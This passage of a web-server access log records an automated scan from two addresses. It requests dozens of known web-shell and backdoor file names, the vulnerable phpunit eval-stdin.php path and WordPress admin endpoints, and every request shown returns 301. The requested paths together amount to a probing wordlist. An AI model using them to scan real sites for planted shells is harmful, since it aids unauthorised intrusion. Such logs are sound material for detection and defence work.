Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:54 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:19:55 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:55 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; 